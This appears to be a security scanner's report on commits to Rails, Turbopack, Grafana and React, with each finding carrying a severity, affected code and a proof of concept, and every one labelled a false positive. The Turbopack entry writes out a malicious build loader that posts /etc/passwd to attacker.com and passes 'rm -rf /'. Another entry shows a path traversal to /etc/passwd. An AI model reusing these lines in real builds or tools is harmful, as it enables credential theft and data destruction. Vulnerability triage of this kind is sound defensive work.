The vulnerability allows silent data corruption where regular columns can be incorrectly deduplicated with virtual columns, causing INSERT and UPDATE statements to exclude legitimate columns and store NULL values instead of the intended data. This occurs when the deduplication registry encounters a virtual column first, then treats a regular column with the same name and type as identical.

🔍 View Affected Code & PoC

Affected Code

def ==(other)
  other.is_a?(Column) &&
    super &&
    auto_increment? == other.auto_increment?
end

Proof of Concept

1. Create a table with a virtual column named 'status'
2. Access the virtual column to register it in deduplication cache
3. Create another table with a regular column named 'status' 
4. Attempt to insert data: User.create!(status: 'active')
5. The status field will be NULL in database instead of 'active' because the regular column was deduplicated to the virtual column and excluded from the INSERT statement

⚠️ MEDIUM FALSE POSITIVE Data Integrity Violation

Commit: 1a4305dfd0ba24e8d7b2fe17dfc8b60818437468

Author: Joshua Huber

The Deduplicable module incorrectly treated virtual (generated) columns and regular columns as identical when they had the same name and type, causing regular columns to be silently excluded from INSERT/UPDATE operations. This resulted in NULL values being stored instead of the intended data, leading to silent data corruption.

🔍 View Affected Code & PoC

Affected Code

def ==(other)
  other.is_a?(Column) &&
    super &&
    auto_increment? == other.auto_increment?
end

Proof of Concept

1. Create a table with a virtual column named 'name'
2. Create another table with a regular column named 'name' of same type
3. Access virtual column first to register it in deduplication cache
4. Attempt INSERT on regular table: MyModel.create!(name: 'test_data')
5. The 'name' field will be NULL in database instead of 'test_data' due to column deduplication treating regular column as virtual

💣 CRITICAL FALSE POSITIVE Code Injection

Commit: 740d55cdcefe5e62a2e0f6d65cd543d4b24423cc

Author: Tobias Koppers

The feature allows arbitrary webpack loader execution through import attributes without proper validation or sandboxing. An attacker can specify malicious loader code that gets executed during the build process, potentially leading to remote code execution on the build server.

🔍 View Affected Code & PoC

Affected Code

import value from '../data.js' with { turbopackLoader: 'malicious-loader', turbopackLoaderOptions: '{"cmd":"rm -rf /"}' }

Proof of Concept

Create a malicious loader at node_modules/malicious-loader/index.js:
`​`​`​js
module.exports = function(source) {
  const { exec } = require('child_process');
  exec('curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/exfil');
  return source;
}
`​`​`​
Then use: `import data from './file.txt' with { turbopackLoader: 'malicious-loader' }` to execute arbitrary commands during build time.

🔥 HIGH FALSE POSITIVE Authorization Bypass

Commit: 74d146aa370c1cbaf1a9e701389c0bc0d55e4794

Author: Mihai Turdean

The MT IAM API server was using a no-op storage backend for RoleBindings, which silently dropped all write operations and returned empty results for reads. Additionally, the authorizer denied all access to rolebindings. This created an authorization bypass where RBAC role bindings were completely non-functional, potentially allowing unauthorized access or preventing proper access controls from being enforced.

🔍 View Affected Code & PoC

Affected Code

roleBindingsStorage: noopstorage.ProvideStorageBackend(), // TODO: add a proper storage backend
...
return authorizer.DecisionDeny, "access denied", nil

Proof of Concept

POST /apis/iam.grafana.app/v0alpha1/rolebindings with body: {"apiVersion":"iam.grafana.app/v0alpha1","kind":"RoleBinding","metadata":{"name":"admin-binding"},"subjects":[{"kind":"User","name":"attacker"}],"roleRef":{"kind":"Role","name":"admin"}} - This request would be silently dropped by noopstorage, never creating the intended role binding, while appearing to succeed to the caller.

⚠️ MEDIUM FALSE POSITIVE Information Disclosure

Commit: 14ee584465b427a1419e4fb21555a5be42fffa22

Author: Tom Ratcliffe

The code previously only allowed admin users to see team folder owners, but the patch changes this to allow any user with 'teams:read' permission to see folder owners. This creates an information disclosure vulnerability where users with lower privileges can access team ownership information they shouldn't be able to see.

🔍 View Affected Code & PoC

Affected Code

const isAdmin = contextSrv.hasRole('Admin') || contextSrv.isGrafanaAdmin;
{isAdmin && config.featureToggles.teamFolders && folderDTO && 'ownerReferences' in folderDTO && (
  <FolderOwners ownerReferences={folderDTO.ownerReferences} />
)}

Proof of Concept

1. Create a user account without admin privileges but with 'teams:read' permission
2. Navigate to a team folder that has owner references
3. Before patch: Owner information is hidden
4. After patch: Owner information is now visible, disclosing team membership and folder ownership data that was previously restricted to admins only

⚠️ MEDIUM FALSE POSITIVE Race Condition / Optimistic Locking Bypass

Commit: 57b75b4a3b9ea631f957bf86db01de672a17d2b5

Author: Will Assis

The code had a race condition in optimistic locking implementation where concurrent operations could bypass resource version checks. The original implementation would rollback changes after transaction commit, creating a window where conflicting writes could succeed simultaneously. The patch fixes this by performing conflict detection during the transaction using proper WHERE clauses with resource version constraints.

🔍 View Affected Code & PoC

Affected Code

DELETE FROM resource
WHERE group = ? AND resource = ? AND namespace = ? AND name = ?;
-- Missing resource_version check in WHERE clause

Proof of Concept

1. Client A reads resource with RV=100
2. Client B reads same resource with RV=100
3. Client A updates resource (RV becomes 101)
4. Client B deletes resource using old RV=100
5. Both operations succeed due to missing RV constraint in DELETE/UPDATE queries, allowing Client B to delete a resource that was modified after they read it, violating optimistic concurrency control

⚠️ MEDIUM FALSE POSITIVE Integer Overflow / Denial of Service

Commit: 9a2113cb9b9d93719f94372814193170335b87ed

Author: Luke Sandberg

The code incorrectly used max() instead of min() to clamp worker counts, causing all systems to be treated as having 64+ cores and potentially overflowing usize on systems with many actual cores. This could lead to memory exhaustion or application crashes.

🔍 View Affected Code & PoC

Affected Code

let num_workers = num_workers.max(64);
(num_workers * num_workers * 16).next_power_of_two()

Proof of Concept

On a system with a large number of cores (e.g., 10000), the calculation becomes: (10000 * 10000 * 16).next_power_of_two() = 1,600,000,000.next_power_of_two() = 2,147,483,648, which exceeds usize limits on 32-bit systems and causes massive memory allocation attempts leading to DoS.

⚠️ MEDIUM FALSE POSITIVE Denial of Service

Commit: 2dd9b7cf76c31df5d7e26e5199e3c362c3e94f95

Author: Jimmy Lai

The code incorrectly checked for debugChannel existence instead of debugChannelReadable, causing the server to signal debug info availability even with write-only channels. This could cause clients to block indefinitely waiting for debug data that never arrives, resulting in a denial of service condition.

🔍 View Affected Code & PoC

Affected Code

debugChannel !== undefined,

Proof of Concept

// Server-side: Pass a write-only debug channel (no readable side)
const { Writable } = require('stream');
const writeOnlyChannel = new Writable({ write() {} });
renderToPipeableStream(component, { debugChannel: writeOnlyChannel });
// Client will now block forever waiting for debug data that cannot be read

⚠️ MEDIUM FALSE POSITIVE Integer Division by Zero / Panic-based DoS

Commit: 6dfcffe1cfb375363674723182b1a5d5c2894ea9

Author: Niklas Mischkulnig

The code performed integer division without checking for division by zero, which could cause a panic and crash the application. The patch replaces direct division with checked_div() to handle zero divisors safely.

🔍 View Affected Code & PoC

Affected Code

if max_chunk_count_per_group != 0 {
    chunks_to_merge_size / max_chunk_count_per_group
} else {
    unreachable!();
}

Proof of Concept

Set max_chunk_count_per_group to 0 through configuration or input parameters. When make_production_chunks() is called with this configuration, the division chunks_to_merge_size / max_chunk_count_per_group will cause a panic, crashing the Turbopack bundler and causing a denial of service.

⚠️ MEDIUM FALSE POSITIVE Denial of Service (Stack Overflow)

Commit: cf993fb457417e0f20535b1fd42c3f45df966583

Author: Hendrik Liebau

The recursive traversal of async node chains in visitAsyncNode causes stack overflow when processing deep async sequences. Database libraries creating long linear chains of async operations can trigger this DoS condition. The patch converts recursive traversal to iterative to prevent stack exhaustion.

🔍 View Affected Code & PoC

Affected Code

function visitAsyncNode(...) {
  if (visited.has(node)) {
    return visited.get(node);
  }
  visited.set(node, null);
  const result = visitAsyncNodeImpl(request, task, node, visited, cutOff);

Proof of Concept

// Create a deep chain of async sequences (10000+ levels)
let current = null;
for (let i = 0; i < 10000; i++) {
  current = { previous: current, end: -1 };
}
// This deep chain will cause stack overflow in visitAsyncNode
// when React Flight processes the async node traversal

⚠️ MEDIUM FALSE POSITIVE Path Traversal

Commit: 3ce1316b05968d2a8cffe42a110f2726f2c44c3e

Author: Joseph Savona

The code had improper path resolution that allowed attackers to access files outside the intended directory structure. The patch fixes relative path resolution by properly normalizing paths relative to PROJECT_ROOT instead of allowing arbitrary relative paths from the current working directory.

🔍 View Affected Code & PoC

Affected Code

const inputPath = path.isAbsolute(opts.path)
  ? opts.path
  : path.resolve(process.cwd(), opts.path);

Proof of Concept

yarn snap compile ../../../etc/passwd